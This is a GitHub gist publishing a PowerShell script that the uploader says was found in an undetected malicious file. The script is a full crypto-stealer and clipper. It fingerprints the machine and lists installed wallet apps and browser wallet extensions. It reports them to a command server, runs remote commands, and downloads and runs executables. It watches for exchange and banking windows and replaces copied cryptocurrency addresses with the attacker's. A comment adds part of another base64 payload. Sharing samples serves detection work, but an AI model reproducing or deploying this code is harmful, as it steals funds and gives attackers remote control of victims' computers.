Created
April 8, 2022 23:39
-
-
Save infernoboy/cf114fda56ff3706478e0d1e6a1a1b27 to your computer and use it in GitHub Desktop.
This script was found in a malicious file not being detected by any AV as reported by virustotal
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path; | |
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString(); | |
$EndPointURL = "http://api.private-chatting.com/connect"; | |
$__Version__ = "M_37"; | |
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString(); | |
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle); | |
function XF3a8JO3r5r8G([string] $str) { | |
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%") | |
} | |
function WMI([string] $class, [string] $value) { | |
$val = $null; | |
$results = (Get-WmiObject -Class $class) ; | |
foreach ($item in $results) { | |
$val = $item[$value]; | |
break; | |
} | |
if ($val -eq $null) { | |
$val = [Guid]::NewGuid().ToString(); | |
} | |
return $val; | |
} | |
function Get-HWID() { | |
return (WMI 'win32_logicaldisk' "VolumeSerialNumber") | |
} | |
function ik9hXhN11R() { | |
return (WMI 'Win32_OperatingSystem' "Caption") | |
} | |
function P9TEtu77LCNtD() { | |
return (WMI 'Win32_Processor' "AddressWidth") | |
} | |
function av_enabled([uint32]$state) { | |
[byte[]] $bytes = [System.BitConverter]::GetBytes($state); | |
if (($bytes[1] -eq 0x10) -or ($bytes[1] -eq 0x11)) { | |
return "Enabled"; | |
} | |
elseif (($bytes[1] -eq 0x00) -or ($bytes[1] -eq 0x01) -or ($bytes[1] -eq 0x20) -or ($bytes[1] -eq 0x21)) { | |
return "Disabled"; | |
} | |
return "Unknown"; | |
} | |
function TmBvivf3Wwj8U7NzZh() { | |
$avs = Get-WmiObject -Namespace "root\SecurityCenter" -Class "AntiVirusProduct"; | |
$avs += Get-WmiObject -Namespace "root\SecurityCenter2" -Class "AntiVirusProduct"; | |
$avf = New-Object Collections.Generic.List[string]; | |
foreach ($av in $avs) { | |
$enabled = (av_enabled $av.productState); | |
$avf.Add($av.displayName + " [$enabled]") | |
} | |
return [string]::Join(", ", $avf.ToArray()) | |
} | |
function vxUABGtfQ7B7([string]$str) { | |
if ($str.Length -eq 0) { | |
return ""; | |
} | |
$str = $str.Replace("/", ""); | |
return ($str.Substring(0, 1).ToUpper() + $str.Substring(1)); | |
} | |
$_HWID_ = Get-HWID; | |
function getUserAgent { | |
return "$($__Version__)_$($_HWID_)\" + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "COMPUTERNAME")) + '\' + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "USERNAME")) + '\' + (vxUABGtfQ7B7 (ik9hXhN11R)) + " [" + (P9TEtu77LCNtD) + "]" + '\' + (vxUABGtfQ7B7 (TmBvivf3Wwj8U7NzZh)) + '\' + (FindPaths) + '\' | |
} | |
function oUjmVhxHJ4Qhrw($data, $notify) { | |
if ($OS_Major -ne "6.1") { | |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } | |
} | |
$cli = New-Object System.Net.WebClient; | |
$useragent = getUserAgent; | |
$cli.Headers['X-User-Agent'] = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($useragent)); | |
if ($notify) { | |
$cli.Headers['X-notify'] = $notify | |
} | |
$Response = $cli.UploadString($EndPointURL, $data); | |
$worker = $cli.ResponseHeaders["worker"]; | |
if ($worker -eq "0") { | |
$WorkerEn.Reset() | Out-Null; | |
} | |
else { | |
$WorkerEn.Set() | Out-Null; | |
} | |
return $Response.ToString() | |
} | |
function DownloadFile([string]$URL, [string]$Filename) { | |
[string]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/599.99 (KHTML, like Gecko) Chrome/81.0.3999.199 Safari/599.99"; | |
if ($OS_Major -ne "6.1") { | |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; | |
$ret = Invoke-WebRequest -Uri $URL -OutFile $Filename -UserAgent $UserAgent -Method 'GET' | |
} | |
else { | |
$cli = New-Object System.Net.WebClient; | |
$cli.Headers['User-Agent'] = $UserAgent; | |
$cli.DownloadFile($URL, $Filename); | |
} | |
} | |
function yQM1ybBDSjEP($url, $path, $wait) { | |
DownloadFile $url $path | |
} | |
function Gn4bSDMHKIxEE8UP7wZJ($quit) { | |
Remove-Item -Path $svauXHdYmXwV1whE; | |
if ($quit) { | |
exit(0); | |
} | |
} | |
function main { | |
$ZFKUuv2t12Af = "|V|"; | |
$AuVAfc591z0Yw = (XF3a8JO3r5r8G "temp") + '\'; | |
$svauXHdYmXwV1whE = $scriptItem.FullName; | |
$aWOPoMdm8aLL89 = $scriptItem.Name; | |
$EwcQB8qBuCScs = "powershell.exe"; | |
while ($true) { | |
try { | |
[string]$kk9XDcoU8Sfo692 = oUjmVhxHJ4Qhrw; | |
[string[]] $sep = $ZFKUuv2t12Af; | |
$Fd1Jal88zKyxij = $kk9XDcoU8Sfo692.Split( $sep, [StringSplitOptions]::None); | |
$ivI0sA6txn5XPifq = $Fd1Jal88zKyxij[0]; | |
$JkByjqH1xztsW2YUG = $Fd1Jal88zKyxij[1]; | |
if ($ivI0sA6txn5XPifq -eq "Cmd") { | |
Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $JkByjqH1xztsW2YUG) | |
} | |
if ($ivI0sA6txn5XPifq -eq "DwnlExe") { | |
$path = $AuVAfc591z0Yw + $Fd1Jal88zKyxij[2]; | |
$cmd = $Fd1Jal88zKyxij[3] + $path; | |
yQM1ybBDSjEP $Fd1Jal88zKyxij[1] $path $true; | |
Start-Sleep 1 | |
Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $cmd) | |
} | |
if ($ivI0sA6txn5XPifq -eq "SelfRemove") { | |
Gn4bSDMHKIxEE8UP7wZJ $true | |
} | |
} | |
catch {} | |
try { | |
FindWindow | |
} | |
catch | |
{} | |
Start-Sleep 1 | |
} | |
} | |
$pathdata = | |
@' | |
[ | |
{ | |
"root": "%appdata%", | |
"targets": [ | |
{ | |
"name": "Exodus-A", | |
"path": "Exodus" | |
}, | |
{ | |
"name": "Atomic-A", | |
"path": "Atomic Wallet" | |
}, | |
{ | |
"name": "Electrum-A", | |
"path": "Electrum" | |
}, | |
{ | |
"name": "Ledger-A", | |
"path": "Ledger Live" | |
}, | |
{ | |
"name": "Jaxx-A", | |
"path": "Jaxx Liberty" | |
}, | |
{ | |
"name": "com.liberty.jaxx-A", | |
"path": "com.liberty.jaxx" | |
}, | |
{ | |
"name": "Guarda-A", | |
"path": "Guarda" | |
}, | |
{ | |
"name": "Armory-A", | |
"path": "Armory" | |
}, | |
{ | |
"name": "DELTA-A", | |
"path": "DELTA" | |
}, | |
{ | |
"name": "TREZOR-A", | |
"path": "TREZOR Bridge" | |
}, | |
{ | |
"name": "Bitcoin-A", | |
"path": "Bitcoin" | |
}, | |
{ | |
"name": "binance-A", | |
"path": "binance" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%", | |
"targets": [ | |
{ | |
"name": "Blockstream-A", | |
"path": "Blockstream Green" | |
}, | |
{ | |
"name": "Coinomi-A", | |
"path": "Coinomi" | |
}, | |
{ | |
"name": "Exodus-A", | |
"path": "exodus" | |
}, | |
{ | |
"name": "Docker-A", | |
"path": "Docker" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\Google\\Chrome\\User Data\\Default\\Extensions", | |
"targets": [ | |
{ | |
"name": "Metamask-C", | |
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn" | |
}, | |
{ | |
"name": "MEWcx-C", | |
"path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm" | |
}, | |
{ | |
"name": "Coin98-C", | |
"path": "aeachknmefphepccionboohckonoeemg" | |
}, | |
{ | |
"name": "Binance-C", | |
"path": "fhbohimaelbohpjbbldcngcnapndodjp" | |
}, | |
{ | |
"name": "Jaxx-C", | |
"path": "cjelfplplebdjjenllpjcblmjkfcffne" | |
}, | |
{ | |
"name": "Coinbase-C", | |
"path": "hnfanknocfeofbddgcijnmhnfnkdnaad" | |
} | |
] | |
}, | |
{ | |
"root": "%ProgramFiles(x86)%", | |
"targets": [ | |
{ | |
"name": "Electrum-A", | |
"path": "Electrum" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Extensions", | |
"targets": [ | |
{ | |
"name": "Metamask-B", | |
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\Microsoft\\Edge\\User Data\\Default\\Extensions", | |
"targets": [ | |
{ | |
"name": "Metamask-E", | |
"path": "ejbalbakoplchlghecdalmeeeajnimhm" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\Programs", | |
"targets": [ | |
{ | |
"name": "atomic-A", | |
"path": "atomic" | |
}, | |
{ | |
"name": "TrezorSuite-A", | |
"path": "Trezor Suite" | |
} | |
] | |
}, | |
{ | |
"root": "%ProgramFiles%", | |
"targets": [ | |
{ | |
"name": "Binance-A", | |
"path": "Binance" | |
}, | |
{ | |
"name": "BitcoinCore-A", | |
"path": "Bitcoin" | |
}, | |
{ | |
"name": "LedgerLive-A", | |
"path": "Ledger Live" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\Microsoft\\Edge\\User Data\\Default\\Extensions", | |
"targets": [ | |
{ | |
"name": "Metamask-E", | |
"path": "ejbalbakoplchlghecdalmeeeajnimhm" | |
}, | |
{ | |
"name": "Coinomi-E", | |
"path": "gmcoclageakkbkbbflppkbpjcbkcfedg" | |
} | |
] | |
}, | |
{ | |
"root": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Extensions", | |
"targets": [ | |
{ | |
"name": "Metamask-B", | |
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn" | |
}, | |
{ | |
"name": "MEWcx-B", | |
"path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm" | |
}, | |
{ | |
"name": "Coin98-B", | |
"path": "aeachknmefphepccionboohckonoeemg" | |
}, | |
{ | |
"name": "Binance-B", | |
"path": "fhbohimaelbohpjbbldcngcnapndodjp" | |
}, | |
{ | |
"name": "Jaxx-B", | |
"path": "cjelfplplebdjjenllpjcblmjkfcffne" | |
}, | |
{ | |
"name": "Coinbase-B", | |
"path": "hnfanknocfeofbddgcijnmhnfnkdnaad" | |
} | |
] | |
} | |
] | |
'@; | |
function FindPaths { | |
$a = ConvertFrom-Json $pathdata | |
$results = New-Object Collections.Generic.List[string]; | |
try { | |
$ba = Get-ChildItem -Path "$env:appdata\Mozilla\Firefox\Profiles\*.xpi" -Recurse -Force; | |
Foreach ($i in $ba) { | |
if ($i.Name -match "[email protected]") { | |
try { | |
[string] $ss = "metamask-F" | |
$results.Add($ss) | |
} | |
catch { | |
Write-Host "error" | |
} | |
} | |
} | |
} | |
catch {} | |
foreach ($entry in $a) { | |
$rootdir = [System.Environment]::ExpandEnvironmentVariables($entry.root); | |
foreach ($target in $entry.targets) { | |
if ((Test-Path -Path (Join-Path -Path $rootdir -ChildPath $target.path))) { | |
$results.Add($target.name) | |
} | |
} | |
} | |
$ret = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]::Join("`n", $results))); | |
return $ret; | |
} | |
function FindWindow { | |
$keywords = @('binance', 'coinbase', 'blockchain', 'voyager', 'blockfi', 'coindesk', 'etoro', 'kucoin', 'citi', 'paxful', 'paypal', 'huobi', 'poloniex', 'bittrex', 'kraken', 'bitfinex', 'bitstamp') | |
$windows = (Get-Process | Where-Object { $_.MainWindowTitle -ne "" } | Select-Object MainWindowTitle) | |
foreach ($wndobj in $windows) { | |
[string]$wnd = $wndobj.MainWindowTitle; | |
foreach ($keyword in $keywords) { | |
if ($wnd.ToLower().Contains($keyword.ToLower())) { | |
try { | |
$contentfile = [System.IO.File]::ReadAllText("%SystemDrive%\Users\Public\log.dat").ToLower().replace(' ', ''); | |
$logsend = 'newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]").ToLower().replace(' ', ''); | |
if ( $contentfile -eq $keyword.ToLower().replace(' ', '') ) { | |
$gtr = ""; | |
} | |
else { | |
$datatowrite = ('newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]")).ToLower().replace(' ', ''); | |
[System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat", $keyword.ToLower().replace(' ', '') ); | |
log_event 'newnewapp' ($keyword.ToLower() + "[" + $wnd.ToLower() + "]"); | |
} | |
} | |
catch { | |
[System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat", $keyword.ToLower().replace(' ', '') ); | |
} | |
} | |
} | |
} | |
} | |
$job1 = Start-Job -ArgumentList $EndPointURL, (getUserAgent), $WorkerEnHandle -ScriptBlock { | |
param ( | |
[string] | |
$EndPointURL, | |
[string] | |
$UserAgent, | |
[string] | |
$WorkerEnHandle | |
) | |
[System.Threading.EventWaitHandle]$WorkerEn = $null; | |
if ([System.Threading.EventWaitHandle]::TryOpenExisting($WorkerEnHandle, [ref]$WorkerEn) -eq $false) { | |
$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset); | |
} | |
[System.Environment]::CurrentDirectory = $PWD.Path; | |
#Add-Type -TypeDefinition ([System.IO.File]::ReadAllText('User32.cs')) | |
$Framework_Arch = ''; | |
if([System.IntPtr]::Size -eq 8) | |
{ | |
$Framework_Arch = '64'; | |
} | |
Add-Type -Path "$env:windir\Microsoft.NET\Framework$Framework_Arch\v4.0.30319\System.Runtime.dll"; | |
Add-Type -Path "$env:windir\Microsoft.NET\Framework$Framework_Arch\v4.0.30319\System.Runtime.InteropServices.dll"; | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
public static class User32 | |
{ | |
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
public static extern ushort RegisterClassEx(ref WNDCLASSEX lpwcx); | |
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
public static extern IntPtr CreateWindowEx(UInt32 dwExStyle, IntPtr lpClassName, string lpWindowName, UInt32 dwStyle, | |
Int32 x, Int32 y, Int32 nWidth, Int32 nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); | |
[DllImport("user32.dll")] | |
public static extern int GetMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax); | |
[DllImport("user32.dll")] | |
public static extern bool TranslateMessage([In] ref MSG lpMsg); | |
[DllImport("user32.dll")] | |
public static extern IntPtr DispatchMessage([In] ref MSG lpmsg); | |
[DllImport("user32.dll", SetLastError = true)] | |
public static extern bool AddClipboardFormatListener(IntPtr hwnd); | |
[DllImport("user32.dll", SetLastError = true)] | |
public static extern bool RemoveClipboardFormatListener(IntPtr hwnd); | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
public struct WNDCLASSEX | |
{ | |
[MarshalAs(UnmanagedType.U4)] | |
public int cbSize; | |
[MarshalAs(UnmanagedType.U4)] | |
public int style; | |
public WNDPROC lpfnWndProc; // not WndProc | |
public int cbClsExtra; | |
public int cbWndExtra; | |
public IntPtr hInstance; | |
public IntPtr hIcon; | |
public IntPtr hCursor; | |
public IntPtr hbrBackground; | |
public string lpszMenuName; | |
public string lpszClassName; | |
public IntPtr hIconSm; | |
//Use this function to make a new one with cbSize already filled in. | |
//For example: | |
//var WndClss = WNDCLASSEX.Build() | |
public static WNDCLASSEX Build() | |
{ | |
var nw = new WNDCLASSEX(); | |
nw.cbSize = Marshal.SizeOf(typeof(WNDCLASSEX)); | |
return nw; | |
} | |
} | |
[DllImport("user32.dll", SetLastError = true)] | |
public static extern IntPtr DefWindowProcW(IntPtr hWnd, UInt32 msg, UIntPtr wParam, IntPtr lParam); | |
[DllImport("user32.dll", SetLastError = true)] | |
public static extern bool OpenClipboard(IntPtr hWndNewOwner); | |
[DllImport("user32.dll")] | |
public static extern IntPtr GetClipboardData(uint uFormat); | |
[DllImport("user32.dll")] | |
public static extern IntPtr SetClipboardData(uint uFormat, IntPtr hMem); | |
[DllImport("user32.dll")] | |
public static extern bool EmptyClipboard(); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr GlobalLock(IntPtr hMem); | |
[DllImport("kernel32.dll")] | |
public static extern bool GlobalUnlock(IntPtr hMem); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr GlobalAlloc(uint uFlags, UIntPtr dwBytes); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr GlobalFree(IntPtr hMem); | |
[DllImport("user32.dll", SetLastError = true)] | |
public static extern bool CloseClipboard(); | |
[UnmanagedFunctionPointer(CallingConvention.Cdecl)] | |
public delegate IntPtr WNDPROC(IntPtr hWnd, uint msg, UIntPtr wParam, IntPtr lParam); | |
[StructLayout(LayoutKind.Sequential)] | |
public struct POINT | |
{ | |
public int X; | |
public int Y; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct MSG | |
{ | |
public IntPtr hwnd; | |
public uint message; | |
public UIntPtr wParam; | |
public IntPtr lParam; | |
public uint time; | |
public POINT pt; | |
public uint lPrivate; | |
} | |
} | |
"@ | |
$address_book = ConvertFrom-Json @" | |
[ | |
{ | |
"a": "bc1qn6ype8u5kgj672mvsez9wz9wt9wk22tzd5vprp", | |
"r": "^bc1[a-z0-9]{39,59}$", | |
"c": "BTC" | |
}, | |
{ | |
"a": "1Pqkb4MZwKzgSNkaX32wMwg95D9NfW9vZX", | |
"r": "^1[a-km-zA-HJ-NP-Z1-9]{26,33}$", | |
"c": "BTC" | |
}, | |
{ | |
"a": "3JvBvRuBfYvB6MjzMornj9EQpxhq9W7vXP", | |
"r": "^3[a-km-zA-HJ-NP-Z1-9]{26,33}$", | |
"c": "BTC" | |
}, | |
{ | |
"a": "qq9yrhef7csy3yzgxgs0rvkvez440mk53gv8ulyu6a", | |
"r": "^((bitcoincash|bchreg|bchtest):)?(q|p)[a-z0-9]{41}$", | |
"c": "BCH" | |
}, | |
{ | |
"a": "bnb1vmwl54jxj9yvsgz33xtyuvqnurdjy2raqnttkq", | |
"r": "^(bnb)([a-z0-9]{39})$", | |
"c": "BNB" | |
}, | |
{ | |
"a": "0x884467182849bA788ba89300e176ebe11624C882", | |
"r": "^0x[a-fA-F0-9]{40}$", | |
"c": "ETH" | |
}, | |
{ | |
"a": "48qx1krgEGzdcSacbmZdioNwXxW6r43yFSJDKPWZb3wsK9pYhajHNyE5FujWo1NxVwEBvGebS7biW9mjMEWdMevqMGmDJ6x", | |
"r": "^[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93}$", | |
"c": "XMR" | |
}, | |
{ | |
"a": "rH6dyKWNpcvFz6fQ4ohyDbevSxcxdxfSmz", | |
"r": "^r[rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz]{24,34}$", | |
"c": "XRP" | |
}, | |
{ | |
"a": "DDxhfK5wbJkRN25mAbBYk3ND4xLjiMRyNq", | |
"r": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$", | |
"c": "DOGE" | |
}, | |
{ | |
"a": "Xtwj8uGx77NYBUki1UCPvEhe4kHYi6yWng", | |
"r": "^X[1-9A-HJ-NP-Za-km-z]{33}$", | |
"c": "DASH" | |
} | |
] | |
"@; | |
function Set-Clip { | |
param ( | |
[string] | |
$text | |
) | |
if ($text -eq $null) { | |
$text = ""; | |
} | |
$text += [char]0; | |
[byte[]]$textb = [System.Text.Encoding]::Unicode.GetBytes($text); | |
$hMem = [User32]::GlobalAlloc(0x0002, [UIntPtr]::new($textb.Length)); | |
if ($hMem -ne 0) { | |
$tmp = [User32]::GlobalLock($hMem); | |
if ($tmp -ne 0) { | |
[System.Runtime.InteropServices.Marshal]::Copy($textb, 0, $tmp, $textb.Length) | Out-Null; | |
[User32]::GlobalUnlock($hMem) | Out-Null; | |
[User32]::OpenClipboard([System.IntPtr]::Zero) | Out-Null; | |
[User32]::EmptyClipboard() | Out-Null; ; | |
[User32]::SetClipboardData(13, $hMem) | Out-Null; | |
[User32]::CloseClipboard() | Out-Null; | |
return; | |
} | |
[User32]::GlobalFree($hMem) | Out-Null; | |
} | |
} | |
function Get-Clip { | |
[string]$text = $null; | |
if ([User32]::OpenClipboard([System.IntPtr]::Zero) -ne 0) { | |
$hMem = [User32]::GetClipboardData(13); | |
if ($hMem -ne 0) { | |
$tmp = [User32]::GlobalLock($hMem); | |
if ($tmp -ne 0) { | |
$text = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($hMem); | |
[User32]::GlobalUnlock($hMem) | Out-Null; | |
} | |
} | |
[User32]::CloseClipboard() | Out-Null; | |
} | |
return $text; | |
} | |
function Set-Log([string]$log) { | |
$cli = New-Object System.Net.WebClient; | |
$cli.Headers['X-User-Agent'] = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($UserAgent)); | |
$cli.Headers['X-notify'] = $log; | |
$cli.UploadString($EndPointURL, '') | Out-Null; | |
} | |
function Handle_WM_CLIPBOARDUPDATE { | |
try { | |
if ($WorkerEn.WaitOne(0) -eq $false) { | |
return; | |
} | |
} | |
catch { | |
} | |
try { | |
[string]$text = Get-Clip; | |
if ([string]::IsNullOrEmpty($text)) { | |
return; | |
} | |
$text = $text.Trim(); | |
foreach ($entry in $address_book) { | |
if (($text -ne $entry.a) -and ($text -match $entry.r)) { | |
Set-Clip $entry.a | |
Set-Log ($entry.c + " - " + $text + " - " + $entry.a) | |
} | |
} | |
} | |
catch { | |
} | |
} | |
$wndProc = [User32+WndProc] { | |
param ( | |
[IntPtr] | |
$hwnd, | |
[uint32] | |
$msg, | |
[System.UIntPtr] | |
$wParam, | |
[IntPtr] | |
$lParam | |
) | |
return [User32]::DefWindowProcW($hwnd, $msg, $wParam, $lParam); | |
} | |
$wx = [User32+WNDCLASSEX]::Build(); | |
$wx.lpfnWndProc = $wndProc; | |
$wx.hInstance = [IntPtr]::Zero; | |
$wx.lpszClassName = [Guid]::NewGuid().ToString(); | |
[uint16]$atom = [User32]::RegisterClassEx([ref]$wx); | |
[IntPtr]$hwnd = [User32]::CreateWindowEx(0, [IntPtr]::new($atom), [Guid]::NewGuid().ToString(), 0, 0, 0, 0, 0, [IntPtr]::new(-3), [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero); | |
[User32]::AddClipboardFormatListener($hwnd) | Out-Null; | |
$msg = [User32+MSG]::new() | |
while ([User32]::GetMessage([ref]$msg, 0, 0, 0) -gt 0) { | |
if ($msg.message -eq 0x031D) { | |
Handle_WM_CLIPBOARDUPDATE; | |
} | |
[User32]::TranslateMessage([ref]$msg) | Out-Null; | |
[User32]::DispatchMessage([ref]$msg) | Out-Null; | |
} | |
[User32]::RemoveClipboardFormatListener($hwnd) | Out-Null; | |
} | |
while ($true) { | |
try { | |
main | |
} | |
catch { | |
} | |
} |
Officialkarz
commented
Nov 12, 2023
via email
Have you gotten it out
…On Sat, Nov 11, 2023, 10:06 AM p0las ***@***.***> wrote:
***@***.**** commented on this gist.
------------------------------
I may have found one myself.
$dat = '';
$dat += 'TIlMJCBMiUQkGEiJVCQQiUwkCEiD7DiLRCRAiUQkIIN8JCAAdBCDfCQgAXQ6g3wkIAJ0P+tOSIN8JFAAdArHRCQkAQAAAOsIx0QkJAAAAABMi0QkWItUJCRIi0wkSOhtAQAA6yHrHUiLTCRI6N8CAADrEUiLVCRQSItMJEjofgMAAOsCM8BIg8Q4w8zMzMzMRIlEJBhIiVQkEEiJTCQISIPsKEiDfCQwAHQUSItEJDBIg3gQAHQISIN8JDgAdQczwOn2AAAASItEJDDHQCAAAAAASItUJDhIi0wkMOjvCgAAhcB1BzPA6dAAAABIi1QkOEiLTCQw6AUMAACFwHUHM8DptgAAAEiLTCQw6EAQAACFwHURSItMJDDokhoAADPA6ZcAAABIi0wkMOhBEgAAhcB1DkiLTCQw6HMaAAAzwOt7SItEJDBEi0AISItEJDBIixAzyejnGgAASItMJDCJQQxIi0wkMOilFAAAhcB1DkiLTCQw6DcaAAAzwOs/SItMJDDoSRcAAIXAdQQzwOstg3wkQAB0IboBAAAASItMJDDo+xcAAIXAdQ5Ii0wkMOj9GQAAM8DrBbgBAAAASIPEKMPMzMzMzMzMzMzMzMzMzMxMiUQkGIlUJBBIiUwkCEiD7EjoqQQAAEiJRCQoSIN8JCgAdRpIg3wkYAB0C0iLRCRgxwD/AAAAM8Dp4AAAAEiLRCQoSItAMEiJRCQ4uigAAAC5QAAAAP9UJDhIiUQkIEiDfCQgAHUaSIN8JGAAdAtIi0QkYMcA/wAAADPA6Z0AAABIi0QkIEiLTCQoSIlIEEiLRCQgi0wkWIlIGEiLRCQgx0AcAAAAAEiLRCQgx0AgAAAAAESLRCRYSItUJFBIi0wkIOj5/f//hcB0GkiDfCRgAHQLSItEJGDHAAAAAABIi0QkIOs5SIN8JGAAdA9Ii0QkYEiLTCQgi0kgiQhIi0QkKEiLQDhIiUQkMEiLTCQg/1QkMEiLTCQo/1QkMDPASIPESMPMzMzMzMzMzMzMzMzMSIlMJAhIg+woSIN8JDAAdC1Ii0QkMMdAIAAAAABIi0QkMIN4GAB0DDPSSItMJDDobBYAAEiLTCQw6HIYAABIg8Qow8zMzMzMzMzMzMzMzMxIiUwkCEiD7DhIi0QkQEiJRCQgSItMJCDok////0iDfCQgAHQwSItEJCBIi0AQSItAOEiJRCQoSIN8JCgAdBZIi0QkIEiLSBD/VCQoSItMJCD/VCQoSIPEOMPMzMzMzMxIiVQkEEiJTCQISIPsKEiDfCQwAHQlSIN8JDgAdB1Ii0QkMMdAIAAAAABIi1QkOEiLTCQw6FcWAADrAjPASIPEKMPMzMzMzMzMzMzMzMzMzEiJVCQQSIlMJAhIg+woSItUJDhIi0wkMOiT////SIPEKMPMzMzMzMzMzMzMzMzMzEiJVCQQSIlMJAhIg+xoSIN8JHAAdAhIg3wkeAB1BzPA6VgBAABIi0QkcEiJRCQ4SItEJDgPtwA9TVoAAHQHM8DpOAEAAEiLRCQ4SGNAPEiLTCRwSAPISIvBSIlEJDBIi0QkMIE4UEUAAHQHM8DpCwEAALgIAAAASGvAAEiLTCQwg7wBiAAAAAB1BzPA6ewAAAC4CAAAAEhrwABIi0wkMIuEA';
$dat += 'YgAAABIi0wkcEgDyEiLwUiJRCQoSItEJCiLQCBIi0wkcEgDyEiLwUiJRCRAx0QkIAAAAADrCotEJCD/wIlEJCBIi0QkKItAGDlEJCAPg4cAAACLRCQgSItMJECLBIFIi0wkcEgDyEiLwUiL0EiLTCR46EgYAACFwHVaSItEJCiLQCRIi0wkcEgDyEiLwUiJRCRISItEJCiLQBxIi0wkcEgDyEiLwUiJRCRQi0QkIEiLTCRID7cEQUiLTCRQiwSBiUQkJItEJCRIi0wkcEgDyEiLwesH6V3///8zwEiDxGjDzMzMzMzMzMzMzMzMzMxIiUwkCEiD7FhlSIsEJWAAAABIiUQkOEiDfCQ4AA+EoQAAAEiLRCQ4SIN4GAAPhJEAAABIi0QkOEiLQBhIiUQkQEiLRCRASIPAEEiJRCQoSItEJChIi0wkKEg5CHRmSMdEJCAAAAAASItEJChIiwBIiUQkMEiLRCQwSIlEJCBIi1QkYEiLRCQgSItIYOi/FwAAhcB1DUiLRCQgSItAMOsm6yJIx0QkIAAAAABIi0QkMEiLAEiJRCQwSItEJChIOUQkMHWwM8BIg8RYw8zMzMzMSIHs+AAAALhrAAAAZomEJMAAAAC4ZQAAAGaJhCTCAAAAuHIAAABmiYQkxAAAALhuAAAAZomEJMYAAAC4ZQAAAGaJhCTIAAAAuGwAAABmiYQkygAAALgzAAAAZomEJMwAAAC4MgAAAGaJhCTOAAAAuC4AAABmiYQk0AAAALhkAAAAZomEJNIAAAC4bAAAAGaJhCTUAAAAuGwAAABmiYQk1gAAADPAZomEJNgAAABIjYwkwAAAAOh2/v//SIlEJChIg3wkKAB1BzPA6WAEAADGhCSIAAAAR8aEJIkAAABlxoQkigAAAHTGhCSLAAAAUMaEJIwAAAByxoQkjQAAAG/GhCSOAAAAY8aEJI8AAABBxoQkkAAAAGTGhCSRAAAAZMaEJJIAAAByxoQkkwAAAGXGhCSUAAAAc8aEJJUAAABzxoQklgAAAABIjZQkiAAAAEiLTCQo6Ej8//9IiUQkMEiDfCQwAHUMSI0FNPz//0iJRCQwxkQkSEfGRCRJbMZEJEpvxkQkS2LGRCRMYcZEJE1sxkQkTkHGRCRPbMZEJFBsxkQkUW/GRCRSY8ZEJFMAxkQkOEfGRCQ5bMZEJDpvxkQkO2LGRCQ8YcZEJD1sxkQkPkbGRCQ/csZEJEBlxkQkQWXGRCRCAEiNVCRISItMJCjorfv//0iJhCTgAAAASI1UJDhIi0wkKOiW+///SImEJOgAAABIg7wk4AAAAAB0C0iDvCToAAAAAHUHM8Dp/wIAALpAAAAAuUAAAAD/lCTgAAAASIlEJCBIg3wkIAB1BzPA6doCAABIi0QkIEiLTCQwSIkISItEJCBIi4wk4AAAAEiJSDBIi0QkIEiLjCToAAAASIlIOMaEJKgAAABHxoQkqQAAAGXGhCSq